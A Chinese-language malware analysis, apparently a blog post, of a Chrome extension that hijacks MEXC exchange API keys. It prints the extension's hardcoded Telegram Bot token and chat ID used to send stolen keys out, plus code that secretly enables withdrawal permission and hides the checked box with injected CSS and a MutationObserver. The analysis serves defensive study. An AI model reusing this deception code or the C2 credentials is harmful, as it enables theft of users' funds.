Malicious Chrome Extension Steals Wallet Login Credentials and Enables Automated Trading 这篇新闻提到的,我在历史存档里面找了样本。
一款名为 MEXC API Automator 的恶意 Chrome 扩展程序滥用浏览器插件的信任机制,窃取 MEXC 用户的加密货币交易权限。它伪装成一款可以帮助自动化交易和 API 密钥创建的工具,却悄悄控制新创建的 API 密钥,并将普通的浏览器会话变成一个完整的账户接管通道。
省流版:很粗糙的半成品,甚至这位俄罗斯人忘记删代码模板了
没有堆栈溢出和0day,只要能达成资产转移的目标,越简单越廉价的手段往往越有效(
因为用户相信他们的眼睛,胜过相信代码逻辑(反正普通用户也不会专门遍历插件代码),这个样攻击的是UI,代码仅仅使用了最基础的CSS和DOM操作就达到了高杀伤效果。
用户在屏幕上看到的是Trade Only会盘算就算被盗也转不走钱,所以被诱导进行2FA,这很低技术高杀伤了。
从迫真经济学来看这个插件,ROI太高了,极低的边际成本和极高的单次收益,成本端几乎为零没有什么研发成本;技术栈也是标准JavaScript,不用购买Exploit Kit。
C2成本也为0,白嫖娼Telegram Bot,维护也不需要租VPS和配置域名。分发成本来看Chrome开发者账号注册费是5刀,暗网买成品号也就几十刀。流量是蹭了抹茶和自动化交易的的热度,靠Chrome商店的自然搜索流量也不需要花钱投广告。
收益端没有封顶,毕竟会去下载API 自动化工具的人钱包里也不会只有几百块钱,目标画像很明显是量化交易员、大户、搬砖的。变现效率也高,加密货币和盗信用卡不同,即时到账的同时还是不可逆和全球流通的。
静态分析

Permissions有activeTab和scripting,这个scripting权限是允许扩展向页面注入任意JS代码,配合host_permissions就获得了对目标网站的DOM操作和JS执行权限。
没有常驻后台的MV3标准Service Worke,只在访问特定页面时才会被激活。
Content Script
matches: ["*://*.mexc.com/user/openapi*"]
js: ["script.js"]
run_at: "document_end"
只监控抹茶交易所的openapi,所以到此可以确认是一个API Key劫持了。
script.js
C2
没有混淆直接硬编码,用的是Telegram Bot API……

Bot Token: 7534112291:AAF46jJWWo95XsRWkzcPevHW7XNo6cqKG9I
Chat ID: 6526634583
触发在用户完成2FA验证,网页弹出Success模态框,且脚本成功从DOM中抓取到API Key和 Secret Key之后立即调用的。
然后接下来就是恶意扩展的标配递归重试逻辑和销毁凭证。
UI 欺骗
这是扩展里面我觉得最值得refer的部分,利用CSS注入和DOM监听实现了一个薛定谔的复选框,功能上是勾选了的,但是用户视觉上是未勾选的。
提现权限
遍历页面所有复选框,对SPOT_WITHDRAW_W(这功能是现货提现权限)做了特殊处理:
if (checkbox.getAttribute('value') === 'SPOT_WITHDRAW_W') { ... }
逻辑状态&视觉状态
先通过JS点击了复选框,让在逻辑上变为checked = true:
checkbox.click();
checkbox.dispatchEvent(new Event('change', ...));
正常情况下复选框会变成蓝色并显示对勾。
CSS注入
然后脚本注入了一段带有!important的CSS样式,强制覆盖Ant Design的默认样式
const style = document.createElement('style');
style.textContent = `
.ant-checkbox-wrapper input[value="SPOT_WITHDRAW_W"] ~ .ant-checkbox .ant-checkbox-inner::after {
display: none !important;
}
.ant-checkbox-wrapper input[value="SPOT_WITHDRAW_W"] ~ .ant-checkbox {
background: #fff !important;
border-color: #d9d9d9 !important;
}
`;
document.head.appendChild(style);
结果就是虽然复选框被勾选了但在用户眼里依然是一个白色的空框。
并且攻击者知道Ant Design框架在交互时会动态添加/删除ant-checkbox-checked类名,为了防止露馅:
const observer = new MutationObserver((mutations) => {
mutations.forEach((mutation) => {
if (checkboxWrapper.classList.contains('ant-checkbox-checked')) {
checkboxWrapper.classList.remove('ant-checkbox-checked'); // ...立即将其移除
console.log('Prevented ant-checkbox-checked restoration...');
}
});
});
observer.observe(checkboxWrapper, { attributes: true });
即使用户或者网页逻辑试图重新渲染这个组件,MutationObserver也会在毫秒级的时间内再次移除选中样式,确保未勾选的假象。
Trigger
这个脚本绑定在扩展的弹出界面上面,看代码推测是将被动变为主动。
generateButton.addEventListener('click', ...)
攻击者可能不想被动等待用户自己去访问MEXC API页面,所以在扩展界面放了一个按钮诱使用户主动点击。
好草率,这里注入的文件名是content.js,但是在manifest.json中配置的是script.js,感觉是存在版本不一致,可能在打包时将script.js改成了content.js or popup.js是残留代码。
background.js更是尸体代码,感觉是哪里抄下来的模板。
URL:https://your-server.com/api/save-key
Token:Bearer your-secure-token
被抛弃的C2逻辑是接收 saveApiKey 消息 > 发送HTTP POST请求 > 返回结果。
在上面是使用fetch请求Telegram Bot API,不过确实是用Telegram更简单隐蔽。
动态

搭个蜜罐页测试,script.js和manifest.json中限制了只能在抹茶官网运行,所以先解除这个限制。
把matches的** “://.mexc.com/user/openapi*” 改为 “
if (window.location.href.includes('/user/openapi')) { ... }
直接注释掉
因为这个恶意扩展是依赖特定的HTML类名和ID工作,所以需创建一个本地HTML文件来模拟 抹茶的API创建页面结构

开始调试,先设置断点
返回,强制显示2FA step1_show2FA(); 然后触发断点step2_showKeys();

2FA modal appeared来自恶意脚本,监听器MutationObserver已经成功检测到了我们伪造的 2FA窗口,并进入下一阶段等待 Key 生成。红框区域那里显示的MX_TRAP_API_KEY_88888意味一旦这些文字出现在DOM中,脚本会立即抓取它们。
**